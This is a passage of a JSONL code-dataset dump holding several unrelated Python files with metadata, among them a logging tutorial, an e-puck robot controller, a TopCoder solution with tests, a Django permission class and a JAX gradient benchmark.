header[1][2].append([u'data-background', template % key])\n if key == 'author':\n header[1][1].append(u'author-slide')\n elif key == 'section':\n header[1][1].append(u'section-slide')\n else:\n header[1][1].append(u'title-slide')\n return Header(header[0], header[1], header[2])\n\nif __name__ == '__main__':\n toJSONFilter(cscify)\n","sub_path":"filter/background-image.py","file_name":"background-image.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"27505352","text":"#!D:\\Python27\n# coding:utf-8\n\nimport os\nimport logging\n\n\"\"\"\n日志级别等级: CRITICAL > ERROR > WARNING > INFO > DEBUG > NOTSET\n\nlogging模块提供logger，handler，filter，formatter。\nlogger：提供日志接口。logger最长用的操作有两类：配置和发送日志消息。\n 可以通过logging.getLogger(name)获取logger对象，如果不指定name则返回root对象，\n 多次使用相同的name调用getLogger方法返回同一个logger对象。\nhandler：将日志记录（log record）发送到合适的目的地（destination），比如文件，socket等。\n 一个logger对象可以通过addHandler方法添加0到多个handler，\n 每个handler又可以定义不同日志级别, 以实现日志分级过滤显示。\nfilter：提供一种优雅的方式决定一个日志记录是否发送到handler。\nformatter：指定日志记录输出的具体格式。\n formatter，定义log信息的顺序,结构和内容，如‘[%(asctime)s] [%(levelname)s] %(message)s'\n %(name)s Logger的名字\n %(levelname)s 文本形式的日志级别\n %(message)s 用户输出的消息\n %(asctime)s 字符串形式的当前时间。默认格式是 “2003-07-08 16:49:45,896”。逗号后面的是毫秒\n %(levelno)s 数字形式的日志级别\n %(pathname)s 调用日志输出函数的模块的完整路径名\n %(filename)s 调用日志输出函数的模块的文件名\n %(module)s 调用日志输出函数的模块名\n %(funcName)s 调用日志输出函数的函数名\n %(lineno)d 调用日志输出函数的语句所在的代码行\n %(created)f 当前时间，用UNIX标准的表示时间的浮点数表示\n %(relativeCreated)d 输出日志信息时的，自Logger创建以 来的毫秒数\n %(thread)d 线程ID。可能没有\n %(threadName)s 线程名。可能没有\n %(process)d 进程ID。可能没有\n \n有多中可用的Handler：\nlogging.StreamHandler 可以向类似与sys.stdout或者sys.stderr的任何文件对象(file object)输出信息\nlogging.FileHandler 用于向一个文件输出日志信息\nlogging.handlers.RotatingFileHandler 类似于上面的FileHandler，但是它可以管理文件大小。当文件达到一定大小之后，它会自动将当前日志文件改名，然后创建一个新的同名日志文件继续输出\nlogging.handlers.TimedRotatingFileHandler 和RotatingFileHandler类似，不过，它没有通过判断文件大小来决定何时重新创建日志文件，而是间隔一定时间就自动创建新的日志文件\nlogging.handlers.SocketHandler 使用TCP协议，将日志信息发送到网络。\nlogging.handlers.DatagramHandler 使用UDP协议，将日志信息发送到网络。\nlogging.handlers.SysLogHandler 日志输出到syslog\nlogging.handlers.NTEventLogHandler 远程输出日志到Windows NT/2000/XP的事件日志 \nlogging.handlers.SMTPHandler 远程输出日志到邮件地址\nlogging.handlers.MemoryHandler 日志输出到内存中的制定buffer\nlogging.handlers.HTTPHandler 通过\"GET\"或\"POST\"远程输出到HTTP服务器\n各个Handler的具体用法可查看参考书册：\nhttps://docs.python.org/2/library/logging.handlers.html#module-logging.handlers\n\"\"\"\n\n\n# 往控制台和文件输出日志，且输出不同级别的日志\ndef log_console_file():\n logger = logging.getLogger(\"log_console_file\")\n logger.setLevel(logging.DEBUG)\n\n # 建立一个filehandler来把日志记录在文件里，级别为debug以上\n fh = logging.FileHandler('debug.log', mode='w')\n fh.setLevel(logging.DEBUG)\n\n # 建立一个streamhandler来把日志打在CMD窗口上，级别为error以上\n ch = logging.StreamHandler()\n ch.setLevel(logging.ERROR)\n\n formatter = logging.Formatter(fmt=\"%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s : %(message)s\",\n datefmt='%Y-%m-%d %H:%M:%S')\n\n fh.setFormatter(formatter)\n ch.setFormatter(formatter)\n\n logger.addHandler(fh)\n logger.addHandler(ch)\n\n # 书写日志\n logger.debug(\"debug message\")\n logger.info(\"info message\")\n logger.warn(\"warn message\")\n logger.error(\"error message\")\n logger.critical(\"critical message\")\n\n\nclass StudyLogger:\n def __init__(self, log_file):\n self.logger = logging.getLogger(log_file)\n self.logger.setLevel(logging.DEBUG)\n\n def format_log_info(self, log_file, console_level=logging.ERROR, file_level=logging.DEBUG):\n formatter = logging.Formatter(fmt=\"%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s : %(message)s\",\n datefmt='%Y-%m-%d %H:%M:%S')\n # 建立一个filehandler来把日志记录在文件里，级别为debug以上\n fh = logging.FileHandler(log_file, mode='w')\n fh.setLevel(logging.DEBUG)\n\n # 建立一个streamhandler来把日志打在CMD窗口上，级别为error以上\n ch = logging.StreamHandler()\n ch.setLevel(logging.ERROR)\n\n fh.setFormatter(formatter)\n ch.setFormatter(formatter)\n\n self.logger.addHandler(fh)\n self.logger.addHandler(ch)\n\n def debug(self, message):\n self.logger.debug(message)\n\n def info(self, message):\n self.logger.info(message)\n\n def warn(self, message):\n self.logger.warning(message)\n\n def error(self, message):\n self.logger.error(message)\n\n def critical(self, message):\n self.logger.critical(message)\n\n\nif __name__ == \"__main__\":\n # basic use log name root\n logging.basicConfig(level=logging.DEBUG,\n format=\"%(asctime)s - %(filename)s[line:%(lineno)d] - %(levelname)s : %(message)s\",\n datefmt='%a, %d %b %Y %H:%M:%S',\n filename='/tmp/test.log',\n filemode='w')\n\n logging.debug('debug message')\n logging.info('info message')\n logging.warning('warning message')\n logging.error('error message')\n logging.critical('critical message')\n\n # log_console_file()\n s_log = StudyLogger('debug.log')\n s_log.format_log_info('debug.log')\n\n s_log.debug('一个debug信息')\n s_log.info('一个info信息')\n s_log.warn('一个warning信息')\n s_log.error('一个error信息')\n s_log.critical('一个致命critical信息')\n\n s_log2 = StudyLogger('debug.log')\n s_log2.info('info信息')\n s_log2.warn('warning信息')\n s_log2.critical('critical信息')\n s_log2.critical('critical2信息')\n\n # 创建一个logger\n logger = logging.getLogger()\n\n logger1 = logging.getLogger('mylogger')\n logger1.setLevel(logging.DEBUG)\n\n logger2 = logging.getLogger('mylogger')\n logger2.setLevel(logging.INFO)\n\n logger3 = logging.getLogger('mylogger.child1')\n logger3.setLevel(logging.WARNING)\n\n logger4 = logging.getLogger('mylogger.child1.child2')\n logger4.setLevel(logging.DEBUG)\n\n logger5 = logging.getLogger('mylogger.child1.child2.child3')\n logger5.setLevel(logging.DEBUG)\n\n # 创建一个handler，用于写入日志文件\n fh = logging.FileHandler('/tmp/test.log')\n\n # 再创建一个handler，用于输出到控制台\n ch = logging.StreamHandler()\n\n # 定义handler的输出格式formatter\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n fh.setFormatter(formatter)\n ch.setFormatter(formatter)\n\n # 定义一个filter\n # filter = logging.Filter('mylogger.child1.child2')\n # fh.addFilter(filter)\n\n # 给logger添加handler\n # logger.addFilter(filter)\n logger.addHandler(fh)\n logger.addHandler(ch)\n\n # logger1.addFilter(filter)\n logger1.addHandler(fh)\n logger1.addHandler(ch)\n\n logger2.addHandler(fh)\n logger2.addHandler(ch)\n\n # logger3.addFilter(filter)\n logger3.addHandler(fh)\n logger3.addHandler(ch)\n\n # logger4.addFilter(filter)\n logger4.addHandler(fh)\n logger4.addHandler(ch)\n\n logger5.addHandler(fh)\n logger5.addHandler(ch)\n\n # 记录一条日志\n logger.debug('logger debug message')\n logger.info('logger info message')\n logger.warning('logger warning message')\n logger.error('logger error message')\n logger.critical('logger critical message')\n\n logger1.debug('logger1 debug message')\n logger1.info('logger1 info message')\n logger1.warning('logger1 warning message')\n logger1.error('logger1 error message')\n logger1.critical('logger1 critical message')\n\n logger2.debug('logger2 debug message')\n logger2.info('logger2 info message')\n logger2.warning('logger2 warning message')\n logger2.error('logger2 error message')\n logger2.critical('logger2 critical message')\n\n logger3.debug('logger3 debug message')\n logger3.info('logger3 info message')\n logger3.warning('logger3 warning message')\n logger3.error('logger3 error message')\n logger3.critical('logger3 critical message')\n\n logger4.debug('logger4 debug message')\n logger4.info('logger4 info message')\n logger4.warning('logger4 warning message')\n logger4.error('logger4 error message')\n logger4.critical('logger4 critical message')\n\n logger5.debug('logger5 debug message')\n logger5.info('logger5 info message')\n logger5.warning('logger5 warning message')\n logger5.error('logger5 error message')\n logger5.critical('logger5 critical message')\n","sub_path":"Code/built_in/Log/study_logging.py","file_name":"study_logging.py","file_ext":"py","file_size_in_byte":9376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"101183775","text":"\"\"\"mycontrollerauto controller.\"\"\"\n\n# You may need to import some classes of the controller module. Ex:\n# from controller import Robot, LED, DistanceSensor\nfrom controller import DifferentialWheels, LED, DistanceSensor, Camera, LightSensor\n\n# create the Robot instance.\nrobot = DifferentialWheels()\nprint(\"Vural's Robot is running\")\ntimestep = 40\n\n\ndef searchred(leftspeed, rightspeed):\n # searching for red\n\n\n print\n 'searching red'\n # We specified the probability of situations. Belove statemens explain the black line and obstacle avoiding.\n if (right0 >= 100 and left7 >= 100 and gRight < 750 or (left7 >= 100 and gRight < 750)):\n rightspeed += 1000\n leftspeed -= 1000\n elif (right0 >= 100 and left7 >= 100 and gLeft < 750 or (left7 >= 100 and gLeft < 750)):\n rightspeed -= 1000\n leftspeed += 1000\n elif (right0 >= 100 and left7 >= 100):\n rightspeed += 1000\n leftspeed -= 1000\n # if an obstacle is on the right side, the right wheels' speed increases.\n elif (right0 >= 100 or right1 >= 100 or right2 >= 100):\n rightspeed += 1000\n leftspeed -= 1000\n\n # if an obstacle is on the right side, the left wheels' speed increases.\n elif (left7 >= 100 or left6 >= 100 or left5 >= 100):\n rightspeed -= 1000\n leftspeed += 1000\n # these ground sensors increase speed when they detect a black line.\n # we determined it as four states. Speed should be maximum of the e-puck.\n # we chose some speed limits 1500 instead of 1000 that contribute us avoiding from the line\n elif (gLeft < 600):\n rightspeed -= 1500\n leftspeed += 1500\n elif (gRight < 600):\n rightspeed += 1500\n leftspeed -= 1500\n elif (gLeft < 750 and gCentre < 600):\n rightspeed -= 1500\n leftspeed += 1500\n elif (gRight < 750 and gCentre < 600):\n\n rightspeed += 1500\n leftspeed -= 1500\n\n robot.setSpeed(leftspeed, rightspeed)\n\n\ndef searchyellow(leftspeed, rightspeed):\n print\n 'searching yellow'\n # the searching methods are similar the only thing is that this time, it searches for yellow.\n if (right0 >= 100 and left7 >= 100 and gRight < 750 or (left7 >= 100 and gRight < 750)):\n rightspeed += 1000\n leftspeed -= 1000\n elif (right0 >= 100 and left7 >= 100 and gLeft < 750 or (left7 >= 100 and gLeft < 750)):\n rightspeed -= 1000\n leftspeed += 1000\n elif (right0 >= 100 and left7 >= 100):\n rightspeed += 1000\n leftspeed -= 1000\n # if an obstacle is on the right side, the right wheels' speed increases.\n elif (right0 >= 100 or right1 >= 100 or right2 >= 100):\n rightspeed += 1000\n leftspeed -= 1000\n\n # if an obstacle is on the right side, the left wheels' speed increases.\n elif (left7 >= 100 or left6 >= 100 or left5 >= 100):\n rightspeed -= 1000\n leftspeed += 1000\n # these ground sensors increase speed when they detect a black line.\n # we determined it as four states.\n elif (gLeft < 600):\n rightspeed -= 1500\n leftspeed += 1500\n elif (gRight < 600):\n rightspeed += 1500\n leftspeed -= 1500\n elif (gLeft < 750 and gCentre < 600):\n rightspeed -= 1500\n leftspeed += 1500\n elif (gRight < 750 and gCentre < 600):\n # we chose some speed limits 1500 instead of 1000 that contribute us avoiding from the line\n rightspeed += 1500\n leftspeed -= 1500\n\n robot.setSpeed(leftspeed, rightspeed)\n\n\n# \"found functions\" lead to focus on target and the epuck only goes the target slowly untill\n# untill it is being close the target.\ndef foundtrash(k, l):\n print(\"trash is detected\")\n\n robot.setSpeed(k, l)\n # the belove condition contributes to achieve target.\n # k and l is not obligatory just making sure condition is proven.\n # When it come closes, it needs to detect its existence in order to run next step\n # Therefore, left7 and righ0 help e-puck to understand it is near the target.\n # And the target colours should be confirmed as well.\n\n if ((k >= 190 and l >= 190) and (left7 >= 140 or right0 >= 140) and (\n red[20] >= 100 and green[20] >= 100 and blue[20] <= 10)):\n robot.setSpeed(0, 0)\n led[0].set(1)\n print(\"I am next to trash\")\n\n\n# this function same as above function. It focuses the bin.\ndef foundbin(k, l):\n print(\"bin is detected\")\n robot.setSpeed(k, l)\n # same as \"foundtrash\" method.\n if ((k >= 190 and l >= 190) and (left7 >= 140 or right0 >= 140) and (\n red[20] >= 100 and green[20] <= 10 and blue[20] <= 10)):\n led[0].set(0)\n print(\" I am next to bin\")\n\n\n# enable camera.\ncamera = Camera(\"camera\")\ncamera.enable(timestep * 2)\nprint(\"Camera width = \", camera.getWidth(), \"Camera height =\", camera.getHeight())\n\n# enable LEDs\nled = [0] * 8\ncount = 0\nfor i in range(8):\n name = \"led\" + str(i)\n led[i] = LED(name)\n\nrobot.enableEncoders(timestep)\n# enable distance and ground sensors\nirLeft7 = DistanceSensor(\"ps7\")\nirLeft6 = DistanceSensor(\"ps6\")\nirLeft5 = DistanceSensor(\"ps5\")\nirRight0 = DistanceSensor(\"ps0\")\nirRight1 = DistanceSensor(\"ps1\")\nirRight2 = DistanceSensor(\"ps2\")\nirLeft7.enable(timestep)\nirLeft6.enable(timestep)\nirLeft5.enable(timestep)\nirRight0.enable(timestep)\nirRight1.enable(timestep)\nirRight2.enable(timestep)\ngsLeft = DistanceSensor(\"gs0\")\ngsCentre = DistanceSensor(\"gs1\")\ngsRight = DistanceSensor(\"gs2\")\ngsLeft.enable(timestep)\ngsCentre.enable(timestep)\ngsRight.enable(timestep)\n\n# Create an array that includes camera pixel's value\nred = [0] * 40\nblue = [0] * 40\ngreen = [0] * 40\n\nwhile robot.step(timestep) != -1:\n\n # get and set value for parameters.\n left7 = irLeft7.getValue()\n left6 = irLeft6.getValue()\n left5 = irLeft5.getValue()\n\n right0 = irRight0.getValue()\n right1 = irRight1.getValue()\n right2 = irRight2.getValue()\n\n gRight = gsRight.getValue()\n gLeft = gsLeft.getValue()\n gCentre = gsCentre.getValue()\n\n # display the components of each pixel\n image = camera.getImageArray()\n\n # get the colour component of the pixel x (0,40) y(5,6)\n for x in range(0, camera.getWidth()):\n for y in range(5, 6):\n # we fill our arrays with the colour values.\n red[x] = image[x][y][0]\n green[x] = image[x][y][1]\n blue[x] = image[x][y][2]\n\n # that illustrates arrays in the text field.\n print\n 'r=' + str(red)\n print\n 'g=' + str(green)\n print\n 'b=' + str(blue)\n\n print(\"Left Encoder=\", robot.getLeftEncoder(),\n \"Right Encoder=\", robot.getRightEncoder())\n print(\"IR Distances: Left=\", irLeft7.getValue(),\n \" Right =\", irRight0.getValue())\n print(\"Line sensors: Left=\", gsLeft.getValue(), \"Centre = \",\n gsCentre.getValue(), \"Right=\", gsRight.getValue())\n # we create 2 parameters for encoders that contribute us to random search in different periods.\n tick1 = robot.getLeftEncoder()\n tick2 = robot.getRightEncoder()\n # get value from first LED\n ledx = led[0].get()\n print(\"led\", ledx)\n # this is a random search method. It first scans the environment then searches. Also,\n # It scans every each 20000 encounter values.\n if (tick1 <= 700 and tick2 >= -700) or abs(tick1) % 20000 >= 19000:\n robot.setSpeed(100.5, -100.5)\n\n # The states according to LED situation.\n if (ledx == 0):\n\n # We only look for middle of screen's value \"20\"; therefore, we compared it [20]\n if (100 <= green[20] and red[20] >= 100 and blue[20] <= 10):\n robot.setSpeed(0, 0)\n robot.setEncoders(0, 0)\n # it resets encoders to scan again after detecting.\n k = 200\n l = 200\n foundtrash(k, l)\n\n if (ledx == 1):\n if (green[20] <= 10 and red[20] >= 100 and blue[20] <= 10):\n robot.setSpeed(0, 0)\n robot.setEncoders(0, 0)\n # it resets encoders to scan again after detecting.\n k = 200\n l = 200\n foundbin(k, l)\n # if scannning cannot find anything, the epuck starts to search by checking the LED\n # If the first Led is deactive, search for trash.\n # If the first led is active, search for bin.\n else:\n if (ledx == 0):\n\n rightspeed = 400\n leftspeed = 400\n searchyellow(leftspeed, rightspeed)\n # if led[0] is deactive, colours in the pixel of width 20 are compared with belove conditions.\n # For height value we only chose one value such as 20x5.\n # If it detects, it lockes to the yellow ball.\n # That means the desired item has been found and run the \"found function\"\n\n if (green[20] >= 120 and red[20] >= 120 and blue[20] <= 30):\n # k and l determines initial speed of locking to target.\n k = 200\n l = 200\n foundtrash(k, l)\n\n if (ledx == 1):\n\n rightspeed = 400\n leftspeed = 400\n searchred(leftspeed, rightspeed)\n\n if (green[20] <= 10 and red[20] >= 120 and blue[20] <= 10):\n # if Led[0] is active and red is detected, it uses same way above but calls \"foundbin\" instead of \"found yellow\"\n # and it lockes to the red ball (trash-can).\n k = 200\n l = 200\n foundbin(k, l)\n","sub_path":"controller.py","file_name":"controller.py","file_ext":"py","file_size_in_byte":9548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"447971114","text":"# -----------------------------------------------------------------------\n# Name: Veronica Salm\n# CCID: vsalm\n# File: DataManager.py\n#\n# Description: Reads and parses a json file, and manages the resulting\n# \t\t\t object.\n#--------------------------------------------------------------------\nimport os, sys, csv\n\nfrom naive_bayes.normalizer import normalize, tokenize\n\nROW_ID = 0\nTOKENS = 1\nRELATION = 2\nLANGUAGE = 3\n\nclass DataManager():\n\n def __init__(self, input_path):\n #\"\"\" Read the index file from the current directory. Returns the index file object if successful. \"\"\"\n\n # try to open the index file in the given directory\n try:\n file = open(input_path, encoding='utf-8')\n except FileNotFoundError:\n # if we get here, print an error message and quit\n print(\"Error: Could not find data file '{}'.\".format(input_path))\n sys.exit();\n\n self.in_file = open(input_path, \"r\")\n self.in_reader = csv.reader(self.in_file, delimiter=\",\")\n\n # skip header\n self.header = next(self.in_reader)\n\n self.input_path = input_path\n self.data = []\n\n while True:\n try:\n r = next(self.in_reader)\n self.data.append(r)\n except StopIteration:\n break\n self._all_docs = None\n\n def _check_index(self, idx):\n \"\"\" Check that the given index is within a valid range,\n 0 <= idx <= len(self.data) \"\"\"\n if idx < 0 or idx >= len(self.data):\n print(\"Error: Attempted to index into '{}' out of bounds using index {}.\".format(self.input_path, idx))\n sys.exit()\n\n def get_tokens(self, idx):\n \"\"\" Given an index 0 <= idx < len(data), return the text (tokens)\n of the data at that position. \"\"\"\n self._check_index(idx)\n return self.data[idx][TOKENS]\n\n def get_language(self, idx):\n \"\"\" Given an index 0 <= idx < len(data), return the language\n of the tweet at that position. \"\"\"\n self._check_index(idx)\n return self.data[idx][LANGUAGE]\n\n def get_id(self, idx):\n \"\"\" Given an index 0 <= idx < len(data), return the id\n of the data at that position. \"\"\"\n self._check_index(idx)\n return self.data[idx][ROW_ID]\n\n def get_relation(self, idx):\n \"\"\" Given an index 0 <= idx < len(data), return the relation (label)\n of the data at that position. \"\"\"\n self._check_index(idx)\n return self.data[idx][RELATION]\n\n def get_document_tokens(self, idx, p=None):\n \"\"\" Return all normalized tokens from the document represented by the given\n index. \"\"\"\n return normalize(tokenize(self.get_tokens(idx)))\n\n def num_docs_in_corpus(self):\n \"\"\" Returns the number of documents in the data set.\"\"\"\n return len(self.data)\n\n def all_tokens(self):\n tokens = []\n for i in range(self.num_docs_in_corpus()):\n tokens += self.get_document_tokens(i)\n return tokens\n\n def all_docs(self):\n if self._all_docs:\n return self._all_docs\n else:\n docs = []\n for i in range(self.num_docs_in_corpus()):\n docs.append(self.get_document_tokens(i))\n self._all_docs = docs\n return self.all_docs()\n\n def __len__(self):\n return self.num_docs_in_corpus()\n","sub_path":"mask_classification/naive_bayes/DataManager.py","file_name":"DataManager.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"623923556","text":"import math,string,itertools,fractions,heapq,collections,re,array,bisect,random\n\nclass FoxAndClassroom:\n def is_full(self, i, j):\n \n while (self.board[i][j] == None):\n self.board[i][j] = 1\n i = (i + 1) % self.rows\n j = (j + 1) % self.cols\n\n return all([all(row) for row in self.board])\n\n board = []\n rows = 0\n cols = 0\n def ableTo(self, n, m):\n self.rows = n\n self.cols = m\n for i in range(n):\n for j in range(m):\n self.board = [[None for j in range(m)] for i in range(n)]\n if self.is_full(i,j):\n return \"Possible\"\n\n return \"Impossible\"\n\n# BEGIN KAWIGIEDIT TESTING\n# Generated by KawigiEdit-pf 2.3.0\nimport sys\nimport time\ndef KawigiEdit_RunTest(testNum, p0, p1, hasAnswer, p2):\n\tsys.stdout.write(str(\"Test \") + str(testNum) + str(\": [\") + str(p0) + str(\",\") + str(p1))\n\tprint(str(\"]\"))\n\tobj = FoxAndClassroom()\n\tstartTime = time.clock()\n\tanswer = obj.ableTo(p0, p1)\n\tendTime = time.clock()\n\tres = True\n\tprint(str(\"Time: \") + str((endTime - startTime)) + str(\" seconds\"))\n\tif (hasAnswer):\n\t\tprint(str(\"Desired answer:\"))\n\t\tprint(str(\"\\t\") + str(\"\\\"\") + str(p2) + str(\"\\\"\"))\n\t\n\tprint(str(\"Your answer:\"))\n\tprint(str(\"\\t\") + str(\"\\\"\") + str(answer) + str(\"\\\"\"))\n\tif (hasAnswer):\n\t\tres = answer == p2\n\t\n\tif (not res):\n\t\tprint(str(\"DOESN'T MATCH!!!!\"))\n\telif ((endTime - startTime) >= 2):\n\t\tprint(str(\"FAIL the timeout\"))\n\t\tres = False\n\telif (hasAnswer):\n\t\tprint(str(\"Match :-)\"))\n\telse:\n\t\tprint(str(\"OK, but is it right?\"))\n\t\n\tprint(str(\"\"))\n\treturn res\n\nall_right = True\ntests_disabled = False\n\n\n# ----- test 0 -----\ndisabled = False\np0 = 2\np1 = 3\np2 = \"Possible\"\nall_right = (disabled or KawigiEdit_RunTest(0, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 1 -----\ndisabled = False\np0 = 2\np1 = 2\np2 = \"Impossible\"\nall_right = (disabled or KawigiEdit_RunTest(1, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 2 -----\ndisabled = False\np0 = 4\np1 = 6\np2 = \"Impossible\"\nall_right = (disabled or KawigiEdit_RunTest(2, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 3 -----\ndisabled = False\np0 = 3\np1 = 6\np2 = \"Impossible\"\nall_right = (disabled or KawigiEdit_RunTest(3, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 4 -----\ndisabled = False\np0 = 5\np1 = 7\np2 = \"Possible\"\nall_right = (disabled or KawigiEdit_RunTest(4, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\n# ----- test 5 -----\ndisabled = False\np0 = 10\np1 = 10\np2 = \"Impossible\"\nall_right = (disabled or KawigiEdit_RunTest(5, p0, p1, True, p2) ) and all_right\ntests_disabled = tests_disabled or disabled\n# ------------------\n\nif (all_right):\n\tif (tests_disabled):\n\t\tprint(str(\"You're a stud (but some test cases were disabled)!\"))\n\telse:\n\t\tprint(str(\"You're a stud (at least on given cases)!\"))\n\t\nelse:\n\tprint(str(\"Some of the test cases had errors.\"))\n\n# PROBLEM STATEMENT\n# Fox Ciel is now in high school.\n# The seats in her classroom are arranged into an n by m matrix.\n# The rows are numbered from 0 to n-1 (front to back) and the columns from 0 to m-1 (left to right).\n# \n# \n# \n# At the beginning, Ciel can choose any of the seats.\n# Then, at the end of each week Ciel will shift one row to the back and one column to the right, wrapping around whenever necessary.\n# Formally, if her current seat is in row r and column c, then her seat next week will be the one in row ((r+1) modulo n) and column ((c+1) modulo m).\n# \n# \n# \n# Fox Ciel now wonders whether she can sit in all the seats in the classroom if she follows the above procedure.\n# As we already mentioned, she can start in any of the seats.\n# Also, she can attend the school for as many weeks as she wants to.\n# Return \"Possible\" if she can sit in all the seats and \"Impossible\" otherwise.\n# \n# DEFINITION\n# Class:FoxAndClassroom\n# Method:ableTo\n# Parameters:integer, integer\n# Returns:string\n# Method signature:def ableTo(self, n, m):\n# \n# \n# CONSTRAINTS\n# -n will be between 2 and 10, inclusive.\n# -m will be between 2 and 10, inclusive.\n# \n# \n# EXAMPLES\n# \n# 0)\n# 2\n# 3\n# \n# Returns: \"Possible\"\n# \n# We will use (r,c) to denote the chair at row r, column c.\n# Suppose Ciel starts at (1,0).\n# In the following weeks she will then sit at (0,1), (1,2), (0,0), (1,1), (0,2), (1,0) again, (0,1) again, and so on.\n# We can see that already after 6 weeks Ciel sat in all the seats.\n# \n# 1)\n# 2\n# 2\n# \n# Returns: \"Impossible\"\n# \n# Suppose that she starts at (0,0).\n# Then the next week she will sit at (1,1) and the week after that she will be back at (0,0).\n# She would never sit at (0,1) and (1,0).\n# Similarly we can show that none of the other starting positions work.\n# \n# 2)\n# 4\n# 6\n# \n# Returns: \"Impossible\"\n# \n# \n# \n# 3)\n# 3\n# 6\n# \n# Returns: \"Impossible\"\n# \n# \n# \n# 4)\n# 5\n# 7\n# \n# Returns: \"Possible\"\n# \n# \n# \n# 5)\n# 10\n# 10\n# \n# Returns: \"Impossible\"\n# \n# \n# \n# END KAWIGIEDIT TESTING\n#Powered by KawigiEdit-pf 2.3.0!\n","sub_path":"594_div2/FoxAndClassroom.py","file_name":"FoxAndClassroom.py","file_ext":"py","file_size_in_byte":5214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"98546551","text":"#===============================================================================\n# Created on 1 d�c. 2016\n# @author: Matthieu\n#===============================================================================\n\nfrom rest_framework import permissions\n\n\nclass IsAdminOrReadOnly(permissions.IsAdminUser):\n \"\"\"\n Custom permission to only allow ADMIN members to edit objects\n \"\"\"\n def has_permission(self, request, view):\n \n # Read permission are allowed to any request,\n # so we'll always allow GET, HEAD or OPTIONS requests.\n if request.method in permissions.SAFE_METHODS:\n return True\n \n # Python3: is_admin = super().has_permission(request, view)\n is_admin = super(IsAdminOrReadOnly, self).has_permission(request, view)\n \n return is_admin","sub_path":"wog_exercise/permissions.py","file_name":"permissions.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"402109169","text":"import jax\nfrom jax import numpy as jnp\nfrom datetime import datetime\nimport pandas as pd\n\n\n@jax.jit\ndef beale(x: jnp.array) -> jnp.array:\n return jnp.power(1.5 - x[0] + x[0] * x[1], 2) + \\\n jnp.power(2.25 - x[0] + x[0] * x[1] * x[1], 2) + \\\n jnp.power(2.625 - x[0] + x[0] * x[1] * x[1] * x[1], 2)\n\n\n@jax.jit\ndef rosenbrock(x: jnp.array) -> jnp.array:\n return jnp.power(1. - x[0], 2) + \\\n 100. * jnp.power(x[1] - x[0] * x[0], 2)\n\n\ndef fwd_grad(f, x0, key):\n t = jax.random.normal(key, shape=x0.shape)\n return jax.jvp(f, (x0,), (t,))[1] * t\n\n\ndef run_test(f, f_grad, x0: jnp.array, n_iter: int, n_trials: int, learning_rate: float) -> pd.DataFrame:\n data = []\n for j in range(n_trials):\n key = jax.random.PRNGKey(j)\n start = datetime.now()\n x = x0\n for i in range(n_iter):\n key, key_grad = jax.random.split(key)\n data.append(\n [j, i, (datetime.now() - start).total_seconds(), float(f(x))])\n x = x - learning_rate * f_grad(x, key_grad)\n df = pd.DataFrame(data, columns=['trial', 'iter', 'time', 'f'])\n return df\n\n\nif __name__ == '__main__':\n\n x0 = jnp.array([0., 0.5])\n n_iter = 1000\n learning_rate = 0.01\n df_fwd = run_test(beale, lambda x, key: fwd_grad(\n beale, x0=x, key=key), x0, n_iter, 10, learning_rate)\n df_bwd = run_test(beale, lambda x, key: jax.grad(beale)\n (x), x0, n_iter, 1, learning_rate)\n df_fwd['kind'] = 'fwd'\n df_bwd['kind'] = 'bwd'\n df = pd.concat([df_fwd, df_bwd])\n df.to_csv('./logs/fmin_beale.csv')\n\n x0 = jnp.array([-1., 0.])\n n_iter = 25000\n learning_rate = 5 * 10 ** -4\n df_fwd = run_test(rosenbrock, lambda x, key: fwd_grad(\n rosenbrock, x0=x, key=key), x0, n_iter, 10, learning_rate)\n df_bwd = run_test(rosenbrock, lambda x, key: jax.grad(\n rosenbrock)(x), x0, n_iter, 1, learning_rate)\n df_fwd['kind'] = 'fwd'\n df_bwd['kind'] = 'bwd'\n df = pd.concat([df_fwd, df_bwd])\n df.to_csv('./logs/fmin_rosenbrock.csv')\n","sub_path":"benchmarks/function_minimization.py","file_name":"function_minimization.py","file_ext":"py","file_size_in_byte":2054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"134932830","text":"\"\"\"\nccextractor-web | parsers.py\n\nAuthor : Saurabh Shrivastava\nEmail : saurabh.shrivastava54+ccextractorweb[at]gmail.com\nLink : https://github.com/saurabhshri\n\n\"\"\"\n\nimport json\n\n\nclass ParseJob():\n def __init__(self, job_file):\n self.job_config = {}\n\n with open(job_file, 'r', encoding=\"utf-8\") as f:\n self.job_config = json.load(f)\n\n self.ccextractor_executable = self.job_config['executable_path']\n self.filename = self.job_config['filename']\n self.job_number = self.job_config['job_number']\n self.parameters = self.job_config['parameters']\n self.platform = self.job_config['platform']\n self.token = self.job_config['token']\n self.output_file_extension = self.job_config['output_file_extension']\n\n def get_job_config(self):\n return self.job_config\n\n\nclass ParseParameters():\n def __init__(self, argv):\n self.paramters = {}\n\n while argv:\n if argv[0][0] == '-':\n self.paramters[argv[0]] = argv[1]\n argv = argv[1:]\n\n self.job_dir = self.paramters['-jobDir']\n self.output_dir = self.paramters['-outputDir']\n self.archive_dir = self.paramters['-archiveDir']\n self.ccextractor_binaries_dir = self.paramters['-ccextractorBinariesDir']\n self.log_dir = 